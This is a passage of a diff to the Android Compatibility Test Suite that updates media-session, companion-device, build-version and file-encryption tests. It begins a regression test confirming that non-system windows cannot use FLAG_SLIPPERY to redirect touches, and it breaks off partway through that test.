+    public void testIsTrustedForMediaControl_withInvalidUid() throws Exception {
+        List<String> packageNames = getEnabledNotificationListenerPackages();
+        for (String packageName : packageNames) {
+            MediaSessionManager.RemoteUserInfo info =
+                    new MediaSessionManager.RemoteUserInfo(
+                            packageName, /* pid= */ 0, Process.myUid());
+            assertFalse(mSessionManager.isTrustedForMediaControl(info));
+        }
+    }
+
     private boolean listContainsToken(List<Session2Token> tokens, Session2Token token) {
         for (int i = 0; i < tokens.size(); i++) {
             if (tokens.get(i).equals(token)) {
@@ -542,6 +567,24 @@
                 new KeyEvent(downTime, System.currentTimeMillis(), KeyEvent.ACTION_UP, keyCode, 0));
     }
 
+    private List<String> getEnabledNotificationListenerPackages() {
+        List<String> listeners = new ArrayList<>();
+        String enabledNotificationListeners =
+                Settings.Secure.getString(
+                        mContext.getContentResolver(),
+                        ENABLED_NOTIFICATION_LISTENERS);
+        if (enabledNotificationListeners != null) {
+            String[] components = enabledNotificationListeners.split(":");
+            for (String componentString : components) {
+                ComponentName component = ComponentName.unflattenFromString(componentString);
+                if (component != null) {
+                    listeners.add(component.getPackageName());
+                }
+            }
+        }
+        return listeners;
+    }
+
     private class VolumeKeyLongPressListener
             implements MediaSessionManager.OnVolumeKeyLongPressListener {
         private final List<KeyEvent> mKeyEvents = new ArrayList<>();
diff --git a/tests/tests/mediaparser/AndroidTest.xml b/tests/tests/mediaparser/AndroidTest.xml
index e670a80..ce03968 100644
--- a/tests/tests/mediaparser/AndroidTest.xml
+++ b/tests/tests/mediaparser/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.media.apex" />
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/mediatranscoding/OWNERS b/tests/tests/mediatranscoding/OWNERS
index e653979..a4393a7 100644
--- a/tests/tests/mediatranscoding/OWNERS
+++ b/tests/tests/mediatranscoding/OWNERS
@@ -1,4 +1,4 @@
 # Bug component: 761430
-hkuang@google.com
-chz@google.com
-lnilsson@google.com
+
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index 3068f9f..43dfba1 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -28,6 +28,7 @@
         "androidx.test.core",
         "androidx.test.ext.junit",
         "androidx.test.rules",
+        "androidx.test.uiautomator",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "testng",
@@ -70,5 +71,5 @@
     ],
     // Do not compress minijail policy files.
     aaptflags: ["-0 .policy"],
-    min_sdk_version : "29"
+    min_sdk_version: "29",
 }
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
index 042224a..7da630e 100644
--- a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
@@ -53,7 +53,10 @@
     val notificationsStatus by lazy { TextView(this) }
     val bypassStatus by lazy { TextView(this) }
 
-    val nameFilter by lazy { EditText(this).apply { hint = "Name Filter" } }
+    val nameFilter by lazy { EditText(this).apply {
+        hint = "Name Filter"
+        contentDescription = "name filter" // Do not change: used in the tests.
+    } }
     val singleCheckbox by lazy { CheckBox(this).apply { text = "Single Device" } }
     val watchCheckbox by lazy { CheckBox(this).apply { text = "Watch" } }
 
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index ca983e4..48082f7 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1,2 +1 @@
-S
-Sv2
+12
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 51da24c..070cc44 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -36,7 +36,7 @@
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
-    private static final int EXPECTED_SDK = 31;
+    private static final int EXPECTED_SDK = 32;
     private static final String EXPECTED_BUILD_VARIANT = "user";
     private static final String EXPECTED_KEYS = "release-keys";
     private static final String PLATFORM_RELEASES_FILE = "platform_releases.txt";
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index ee2ab83..b0307f1 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -16,11 +16,12 @@
 
 package android.os.cts
 
+import android.app.Instrumentation
 import android.companion.CompanionDeviceManager
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
-import android.content.pm.PackageManager.FEATURE_LEANBACK
 import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
+import android.content.pm.PackageManager.FEATURE_LEANBACK
 import android.content.pm.PackageManager.PERMISSION_GRANTED
 import android.net.MacAddress
 import android.os.Binder
@@ -28,18 +29,17 @@
 import android.os.Parcelable
 import android.os.UserHandle
 import android.platform.test.annotations.AppModeFull
-import android.test.InstrumentationTestCase
 import android.util.Size
 import android.util.SizeF
 import android.util.SparseArray
-import android.view.accessibility.AccessibilityNodeInfo
-import android.view.accessibility.AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE
-import android.view.accessibility.AccessibilityNodeInfo.ACTION_SET_TEXT
-import android.widget.EditText
 import android.widget.TextView
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
-import com.android.compatibility.common.util.MatcherUtils
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.BySelector
+import androidx.test.uiautomator.UiDevice
+import androidx.test.uiautomator.UiObject2
+import androidx.test.uiautomator.Until
 import com.android.compatibility.common.util.MatcherUtils.hasIdThat
 import com.android.compatibility.common.util.SystemUtil.eventually
 import com.android.compatibility.common.util.SystemUtil.getEventually
@@ -50,66 +50,52 @@
 import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
 import com.android.compatibility.common.util.children
 import com.android.compatibility.common.util.click
-import org.hamcrest.CoreMatchers.`is`
+import java.io.Serializable
 import org.hamcrest.CoreMatchers.containsString
-import org.hamcrest.CoreMatchers.equalTo
-import org.hamcrest.Matcher
 import org.hamcrest.Matchers.empty
 import org.hamcrest.Matchers.not
+import org.junit.After
+import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
+import org.junit.Assert.assertTrue
 import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
-import org.junit.After
 import org.junit.Test
 import org.junit.runner.RunWith
-import java.io.Serializable
-
-const val COMPANION_APPROVE_WIFI_CONNECTIONS =
-        "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
-const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
-const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
-const val SHELL_PACKAGE_NAME = "com.android.shell"
-const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
-const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
-val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
 
 /**
  * Test for [CompanionDeviceManager]
  */
 @RunWith(AndroidJUnit4::class)
-class CompanionDeviceManagerTest : InstrumentationTestCase() {
-
-    val cdm: CompanionDeviceManager by lazy {
-        context.getSystemService(CompanionDeviceManager::class.java)
+class CompanionDeviceManagerTest {
+    companion object {
+        const val COMPANION_APPROVE_WIFI_CONNECTIONS =
+                "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
+        const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
+        const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
+        const val SHELL_PACKAGE_NAME = "com.android.shell"
+        const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
+        const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
     }
-    val pm: PackageManager by lazy { context.packageManager }
+
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val uiDevice = UiDevice.getInstance(instrumentation)
+    private val context = instrumentation.targetContext
+    private val userId = context.userId
+    private val packageName = context.packageName!!
+
+    private val pm: PackageManager by lazy { context.packageManager }
     private val hasFeatureCompanionDeviceSetup: Boolean by lazy {
         pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
     }
+
+    private val cdm: CompanionDeviceManager by lazy {
+        context.getSystemService(CompanionDeviceManager::class.java)
+    }
     private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
     private val isTV: Boolean by lazy { pm.hasSystemFeature(FEATURE_LEANBACK) }
 
-    private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
-        val userId = context.userId
-        return runShellCommand("cmd companiondevice list $userId")
-                .lines()
-                .any {
-                    packageName in it && macAddress in it
-                }
-    }
-
-    private fun isCdmAssociated(
-        macAddress: String,
-        packageName: String,
-        vararg permissions: String
-    ): Boolean {
-        return runWithShellPermissionIdentity(ThrowingSupplier {
-            cdm.isDeviceAssociatedForWifiConnection(packageName,
-                    MacAddress.fromString(macAddress), context.user)
-        }, *permissions)
-    }
-
     @Before
     fun assumeHasFeature() {
         assumeTrue(hasFeatureCompanionDeviceSetup)
@@ -118,27 +104,26 @@
     }
 
     @After
-    fun removeAllAssociations() {
+    fun cleanUp() {
         // If the devices does not have the feature or is an Auto, the test didn't run, and the
         // clean up is not needed (will actually crash if the feature is missing).
         // See assumeHasFeature @Before method.
         if (!hasFeatureCompanionDeviceSetup || isAuto) return
 
-        val userId = context.userId
+        // Remove associations
         val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME)
-
         for (address in associations) {
             runShellCommandOrThrow(
                     "cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address")
         }
+
+        // Uninstall test app
+        uninstallAppWithoutAssertion(TEST_APP_PACKAGE_NAME)
     }
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testIsDeviceAssociated() {
-        val userId = context.userId
-        val packageName = context.packageName
-
         assertFalse(isCdmAssociated(DUMMY_MAC_ADDRESS, packageName, MANAGE_COMPANION_DEVICES))
         assertFalse(isShellAssociated(DUMMY_MAC_ADDRESS, packageName))
 
@@ -165,9 +150,6 @@
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testDump() {
-        val userId = context.userId
-        val packageName = context.packageName
-
         try {
             runShellCommand(
                     "cmd companiondevice associate $userId $packageName $DUMMY_MAC_ADDRESS")
@@ -183,13 +165,11 @@
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testProfiles() {
-        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        installApk("--user $userId $TEST_APP_APK_LOCATION")
         startApp(TEST_APP_PACKAGE_NAME)
 
-        waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
-                .performAction(ACTION_SET_TEXT,
-                        bundleOf(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE to ""))
-        waitForIdle()
+        uiDevice.waitAndFind(By.desc("name filter")).text = ""
+        uiDevice.waitForIdle()
 
         click("Watch")
         val device = getEventually({
@@ -224,13 +204,11 @@
         // in Settings but not in TvSettings for Android TV devices (b/199224565).
         assumeFalse(isTV)
 
-        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        installApk("--user $userId $TEST_APP_APK_LOCATION")
         startApp(TEST_APP_PACKAGE_NAME)
 
-        waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
-                .performAction(ACTION_SET_TEXT,
-                        bundleOf(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE to ""))
-        waitForIdle()
+        uiDevice.waitAndFind(By.desc("name filter")).text = ""
+        uiDevice.waitForIdle()
 
         val deviceForAssociation = getEventually({
             click("Associate")
@@ -268,24 +246,35 @@
                 .filter { it.startsWith(pkg) }
                 .map { it.substringAfterLast(" ") }
     }
+
+    private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
+        return runShellCommand("cmd companiondevice list $userId")
+                .lines()
+                .any {
+                    packageName in it && macAddress in it
+                }
+    }
+
+    private fun isCdmAssociated(
+        macAddress: String,
+        packageName: String,
+        vararg permissions: String
+    ): Boolean {
+        return runWithShellPermissionIdentity(ThrowingSupplier {
+            cdm.isDeviceAssociatedForWifiConnection(packageName,
+                    MacAddress.fromString(macAddress), context.user)
+        }, *permissions)
+    }
 }
 
+private fun UiDevice.waitAndFind(selector: BySelector): UiObject2 =
+        wait(Until.findObject(selector), 1000)
+
 private fun click(label: String) {
     waitFindObject(byTextIgnoreCase(label)).click()
     waitForIdle()
 }
 
-fun hasClassThat(condition: Matcher<in String?>?): Matcher<AccessibilityNodeInfo> {
-    return MatcherUtils.propertyMatches(
-            "class",
-            { obj: AccessibilityNodeInfo -> obj.className },
-            condition)
-}
-
-fun bundleOf(vararg entries: Pair<String, Any>) = Bundle().apply {
-    entries.forEach { (k, v) -> set(k, v) }
-}
-
 operator fun Bundle.set(key: String, value: Any?) {
     if (value is Array<*> && value.isArrayOf<Parcelable>()) {
         putParcelableArray(key, value as Array<Parcelable>)
diff --git a/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java b/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
index 932cbaf..598996c 100644
--- a/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
+++ b/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
@@ -32,6 +32,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.ThermalUtils;
 
 import org.junit.After;
@@ -126,6 +127,12 @@
                 .times(1)).onThermalStatusChanged(status);
     }
 
+    /**
+     * Test that getThermalHeadroom works
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="7.3.6")
     @Test
     public void testGetThermalHeadroom() throws Exception {
         float headroom = mPowerManager.getThermalHeadroom(0);
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 2e0d0ef..53d8f4e 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -22,7 +22,9 @@
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
     static_libs: [
+        "androidx.test.ext.junit",
         "androidx.test.rules",
+        "androidx.test.runner",
         "android-common",
         "ctstestserver",
         "ctstestrunner-axt",
@@ -56,6 +58,7 @@
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "src/android/security/cts/activity/ISecureRandomService.aidl",
         "aidl/android/security/cts/IIsolatedService.aidl",
         "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 675106f..f8402ec 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -56,6 +56,15 @@
             </intent-filter>
         </activity>
 
+        <activity android:name=".SlipperyEnterBottomActivity"
+                  android:label="Slippery enter"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
              android:label="Test Binder Exploit Race Condition activity"
              android:exported="true">
diff --git a/tests/tests/security/native/Android.bp b/tests/tests/security/native/Android.bp
index c0cb8c5..bf840b6 100644
--- a/tests/tests/security/native/Android.bp
+++ b/tests/tests/security/native/Android.bp
@@ -28,5 +28,8 @@
         ":__subpackages__",
     ],
     srcs: ["utils.cpp"],
+    shared_libs: [
+        "libbase",
+    ],
     export_include_dirs: ["."],
 }
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 2952105..e5d824c 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -37,17 +37,6 @@
 #define R_API_LEVEL 30
 #define S_API_LEVEL 31
 
-static int getFirstApiLevel(void) {
-    int level = property_get_int32("ro.product.first_api_level", 0);
-    if (level == 0) {
-        level = property_get_int32("ro.build.version.sdk", 0);
-    }
-    if (level == 0) {
-        ADD_FAILURE() << "Failed to determine first API level";
-    }
-    return level;
-}
-
 #ifdef __arm__
 // For ARM32, assemble the 'aese.8' instruction as an .inst, since otherwise
 // clang does not accept it.  It would be allowed in a separate file compiled
@@ -203,6 +192,7 @@
 // https://source.android.com/security/encryption/file-based.html
 TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
     int first_api_level = getFirstApiLevel();
+    int vendor_api_level = getVendorApiLevel();
     char crypto_type[PROPERTY_VALUE_MAX];
     struct fscrypt_get_policy_ex_arg arg;
     int res;
@@ -219,10 +209,13 @@
     property_get("ro.crypto.type", crypto_type, "");
     GTEST_LOG_(INFO) << "ro.crypto.type is '" << crypto_type << "'";
     GTEST_LOG_(INFO) << "First API level is " << first_api_level;
+    GTEST_LOG_(INFO) << "Vendor API level is " << vendor_api_level;
 
     // This feature name check only applies to devices that first shipped with
     // SC or later.
-    if(first_api_level >= S_API_LEVEL &&
+    int min_api_level = (first_api_level < vendor_api_level) ? first_api_level
+                                                             : vendor_api_level;
+    if (min_api_level >= S_API_LEVEL &&
        !deviceSupportsFeature("android.hardware.security.model.compatible")) {
         GTEST_SKIP()
             << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
diff --git a/tests/tests/security/native/utils.cpp b/tests/tests/security/native/utils.cpp
index 373b00e..fb9b1ee 100644
--- a/tests/tests/security/native/utils.cpp
+++ b/tests/tests/security/native/utils.cpp
@@ -15,6 +15,10 @@
  */
 
 #include <string>
+#include <vector>
+
+#include <android-base/properties.h>
+#include <gtest/gtest.h>
 
 #include "utils.h"
 
@@ -34,4 +38,29 @@
     pclose(p);
   }
   return device_supports_feature;
+}
+
+int getFirstApiLevel() {
+  int level = android::base::GetIntProperty("ro.product.first_api_level", 0);
+  if (level == 0) {
+    level = android::base::GetIntProperty("ro.build.version.sdk", 0);
+  }
+  if (level == 0) {
+    ADD_FAILURE() << "Failed to determine first API level";
+  }
+  return level;
+}
+
+int getVendorApiLevel() {
+    std::vector<std::string> BOARD_API_LEVEL_PROPS = {
+            "ro.board.api_level", "ro.board.first_api_level", "ro.vndk.version",
+            "ro.vendor.build.version.sdk"};
+    const int API_LEVEL_CURRENT = 10000;
+    for (const auto& api_level_prop : BOARD_API_LEVEL_PROPS) {
+        int api_level = android::base::GetIntProperty(api_level_prop, API_LEVEL_CURRENT);
+        if (api_level != API_LEVEL_CURRENT) {
+            return api_level;
+        }
+    }
+    return API_LEVEL_CURRENT;
 }
\ No newline at end of file
diff --git a/tests/tests/security/native/utils.h b/tests/tests/security/native/utils.h
index d6c651c..3176dbb 100644
--- a/tests/tests/security/native/utils.h
+++ b/tests/tests/security/native/utils.h
@@ -18,5 +18,7 @@
 #define CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
 
 bool deviceSupportsFeature(const char *feature);
+int getFirstApiLevel();
+int getVendorApiLevel();
 
 #endif  // CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
index 625ef66..bad6ef4 100644
--- a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -28,23 +28,14 @@
 // The relevant Android API levels
 constexpr auto S_API_LEVEL = 31;
 
-static int getFirstApiLevel() {
-  int level = android::base::GetIntProperty("ro.product.first_api_level", 0);
-  if (level == 0) {
-    level = android::base::GetIntProperty("ro.build.version.sdk", 0);
-  }
-  if (level == 0) {
-    ADD_FAILURE() << "Failed to determine first API level";
-  }
-  return level;
-}
-
 // As required by CDD, verified boot MUST use verification algorithms as strong
 // as current recommendations from NIST for hashing algorithms (SHA-256).
 // https://source.android.com/compatibility/11/android-11-cdd#9_10_device_integrity
 TEST(VerifiedBootTest, avbHashtreeNotUsingSha1) {
   int first_api_level = getFirstApiLevel();
+  int vendor_api_level = getVendorApiLevel();
   GTEST_LOG_(INFO) << "First API level is " << first_api_level;
+  GTEST_LOG_(INFO) << "Vendor API level is " << vendor_api_level;
   if (first_api_level < S_API_LEVEL) {
     GTEST_LOG_(INFO)
         << "Exempt from avb hash tree test due to old starting API level";
@@ -52,12 +43,16 @@
   }
 
   // This feature name check only applies to devices that first shipped with
-  // SC or later. The check above already screens out pre-S devices.
-  if(!deviceSupportsFeature("android.hardware.security.model.compatible")) {
+  // SC or later.
+  int min_api_level = (first_api_level < vendor_api_level) ? first_api_level
+                                                           : vendor_api_level;
+  if (min_api_level >= S_API_LEVEL &&
+      !deviceSupportsFeature("android.hardware.security.model.compatible")) {
       GTEST_SKIP()
           << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
-    return;
+      return;
   }
+
   android::fs_mgr::Fstab fstab;
   ASSERT_TRUE(ReadDefaultFstab(&fstab)) << "Failed to read default fstab";
 
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index fbef044..13bcdf2 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -51,7 +51,9 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+        final int firstApiLevel =
+                Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+        if (firstApiLevel >= Build.VERSION_CODES.S) {
             // Assumes every test in this file asserts a requirement of CDD section 9.
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     !context.getPackageManager()
diff --git a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
index 64b3c33..a0f2aea 100644
--- a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
@@ -62,7 +62,9 @@
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+        final int firstApiLevel =
+                Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+        if (firstApiLevel >= Build.VERSION_CODES.S) {
             // Assumes every test in this file asserts a requirement of CDD section 9.
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     mContext.getPackageManager()
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
new file mode 100644
index 0000000..8fe8054
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.app.Instrumentation
+import android.graphics.Rect
+import android.os.SystemClock
+import android.platform.test.annotations.AsbSecurityTest
+import android.view.Gravity
+import android.view.InputDevice
+import android.view.MotionEvent
+import android.view.SurfaceControlViewHost
+import android.view.SurfaceHolder
+import android.view.SurfaceView
+import android.view.View
+import android.view.WindowManager
+import android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY
+import android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+import androidx.test.core.app.ActivityScenario
+import androidx.test.ext.junit.rules.ActivityScenarioRule
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.PollingCheck
+import org.junit.After
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertNull
+import org.junit.Assert.fail
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+import java.util.concurrent.atomic.AtomicBoolean
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.LinkedBlockingQueue
+import java.util.Queue
+
+val FLAG_SLIPPERY = 0x20000000 // android.view.WindowManager.LayoutParams.FLAG_SLIPPERY
+
+private fun getViewCenterOnScreen(v: View): Pair<Float, Float> {
+    val location = IntArray(2)
+    v.getLocationOnScreen(location)
+    val x = location[0] + v.width / 2f
+    val y = location[1] + v.height / 2f
+    return Pair(x, y)
+}
+
+private fun assertAction(action: Int, event: MotionEvent?) {
+    if (event == null) {
+        fail("Expected ${MotionEvent.actionToString(action)}, but got a null event instead")
+        return
+    }
+    assertEquals("Expected ${MotionEvent.actionToString(action)}, but received " +
+            "${MotionEvent.actionToString(event.action)}", action, event.action)
+}
+
+private class SurfaceCreatedCallback(created: CountDownLatch) : SurfaceHolder.Callback {
+    private val surfaceCreated = created
+    override fun surfaceCreated(holder: SurfaceHolder) {
+        surfaceCreated.countDown()
+    }
+
+    override fun surfaceDestroyed(holder: SurfaceHolder) {}
+
+    override fun surfaceChanged(holder: SurfaceHolder, format: Int, width: Int, height: Int) {}
+}
+
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+/**
+ * Non-system windows cannot use FLAG_SLIPPERY. In this test, we test that if a window specifies
+ * this flag, then the flag is dropped.
+ * It's not sufficient to simply check that the flag is dropped, so we test the actual behaviour of
+ * the windows.
+ * There are 2 windows in this test:
+ * 1) The bottom activity, which is full screen. It's called 'SlipperyEnterBottomActivity' because
+ * the touch will enter this activity from the slippery window
+ * 2) The top window, 'topView' (or 'surfaceView'/'embeddedView'). This is the window that specifies
+ * the FLAG_SLIPPERY in its layout params. We could also call it 'SlipperyExit' window, because
+ * the touch will exit from this window if the slippery behaviour is enabled.
+ *
+ * The test does the following:
+ * 1) Inject DOWN event to the slippery (top) window. When the top window receives the DOWN event,
+ * it moves itself out of the way, so that the user effectively sees that the finger is over the
+ * bottom activity instead.
+ * 2) Inject MOVE event. If the top window were indeed slippery, this MOVE event would end up going
+ * to the bottom activity, and would become a DOWN event instead (since until that point, activity
+ * does not have an active touch stream). However, since we are not allowing this top window to be
+ * slippery, the MOVE event should just continue to be delivered to the top window.
+ * In this test, we are checking that the top window received the MOVE event, and that the bottom
+ * window did not receive any events.
+ *
+ * There are several ways to specify FLAG_SLIPPERY on a window (or a generic entity that receives
+ * touch). These are:
+ * 1) WindowManagerService::addWindow
+ * 2) WindowManagerService::relayoutWindow
+ * 3) WindowManagerService::grantInputChannel
+ *
+ * So we should test all 3 of these approaches. The first 2 are similar, so they share the same
+ * test code. The third approach requires adding an embedded window, and the code for that test was
+ * forked to avoid excessive branching.
+ */
+class FlagSlipperyTest {
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
+    private lateinit var windowManager: WindowManager
+
+    private val nonSlipperyLayoutParams = WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY,
+            FLAG_NOT_TOUCH_MODAL)
+    private val slipperyLayoutParams = WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY,
+            FLAG_NOT_TOUCH_MODAL or FLAG_SLIPPERY)
+    private val layoutCompleted = AtomicBoolean(false)
+    private val eventsForTopWindow: Queue<MotionEvent> = LinkedBlockingQueue()
+    private var viewToRemove: View? = null
+
+    @get:Rule
+    val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
+            SlipperyEnterBottomActivity::class.java)
+
+    @Before
+    fun setup() {
+        scenario = rule.getScenario()
+        windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+                WindowManager::class.java)
+        setDimensionsToQuarterScreen()
+
+        waitForWindowFocusOnBottomActivity()
+    }
+
+    @After
+    fun tearDown() {
+        eventsForTopWindow.clear()
+        if (viewToRemove != null) {
+            scenario.onActivity {
+                windowManager.removeViewImmediate(viewToRemove)
+            }
+            viewToRemove = null
+        }
+    }
+
